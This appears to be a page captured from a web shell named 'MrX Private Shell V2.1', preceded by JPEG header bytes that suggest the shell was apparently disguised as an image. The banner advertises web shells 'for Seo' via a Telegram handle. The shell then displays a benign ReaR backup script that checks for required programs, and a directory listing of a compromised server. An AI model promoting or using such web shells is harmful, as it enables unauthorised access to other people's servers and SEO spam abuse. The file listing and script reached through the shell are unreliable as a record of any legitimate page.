����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# 950_check_missing_programs.sh
#
# Check that all required programs exist in the currently running system.
# During "rear mkrescue/mkbackup" the currently running system is the original system
# but during "rear recover" the currently running system is the recovery system.
# Do this check during the 'init' stage because the 'init' stage is always run
# (the 'init' stage is run unconditioned by the usr/sbin/rear main script).
# During "rear mkrescue/mkbackup" the 'prep' and 'layout/save' and 'rescue' stages run after the 'init' stage
# and there additional required programs are added to the REQUIRED_PROGS array
# (e.g. see rescue/GNU/Linux/310_network_devices.sh)
# Therefore this check script is additionally run at the end of the 'build' stage
# (via the symbolic link build/default/950_check_missing_programs.sh -> init/default/950_check_missing_programs.sh)
# cf. https://github.com/rear/rear/issues/892
local prog
local missing_progs=()
# Check for required binaries:
for prog in "${REQUIRED_PROGS[@]}" ; do
# When required programs are specified with absolute path like
# REQUIRED_PROGS+=( /special/path/myprogam )
# the test "has_binary /special/path/myprogam" works during "rear mkrescue/mkbackup"
# but that program appears in the ReaR recovery system as /bin/myprogram
# so "has_binary /special/path/myprogam" fails inside the recovery system
# which would let "rear recover" falsely error out here
# cf. https://github.com/rear/rear/issues/2206
# so we also test "has_binary myprogam" which works inside the recovery system:
has_binary "$prog" || has_binary "$( basename "$prog" )" || missing_progs+=( "$prog" )
done
# Have all array members as a single word like "${arr[*]}" because it should detect
# when there is any non-empty array member (not necessarily the first one):
contains_visible_char "${missing_progs[*]}" && Error "Cannot find required programs: ${missing_progs[@]}"
# Finish successfully:
return 0
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 001_verify_config_arrays.sh | File | 1.47 KB | 0644 |
|
| 002_check_rear_recover_mode.sh | File | 1.95 KB | 0644 |
|
| 010_EFISTUB_check.sh | File | 368 B | 0644 |
|
| 010_set_drlm_env.sh | File | 135 B | 0644 |
|
| 030_update_recovery_system.sh | File | 2.66 KB | 0644 |
|
| 100_check_stale_nfs_mounts.sh | File | 1.15 KB | 0644 |
|
| 950_check_missing_programs.sh | File | 1.93 KB | 0644 |
|
| 998_dump_variables.sh | File | 1.08 KB | 0644 |
|